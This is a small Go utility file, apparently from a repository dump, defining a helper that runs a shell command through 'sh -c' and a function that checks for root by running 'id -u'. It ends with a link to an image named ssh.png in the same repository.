1 | package utils
2 |
3 | import (
4 | "bytes"
5 | "os/exec"
6 | "strings"
7 | )
8 |
9 | // ExecuteCommand 执行shell命令并返回输出
10 | func ExecuteCommand(command string) (string, error) {
11 | cmd := exec.Command("sh", "-c", command)
12 | var out bytes.Buffer
13 | cmd.Stdout = &out
14 | err := cmd.Run()
15 | return strings.TrimSpace(out.String()), err
16 | }
17 |
18 | // CheckRoot 检查是否具有root权限
19 | func CheckRoot() bool {
20 | output, err := ExecuteCommand("id -u")
21 | if err != nil {
22 | return false
23 | }
24 | return output == "0"
25 | }
26 |
--------------------------------------------------------------------------------
/pngs/ssh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/10cks/LinuxKeeperGo/982b5a5cbc2e7f41026dcdd1195d57ca02f44b92/pngs/ssh.png
--------------------------------------------------------------------------------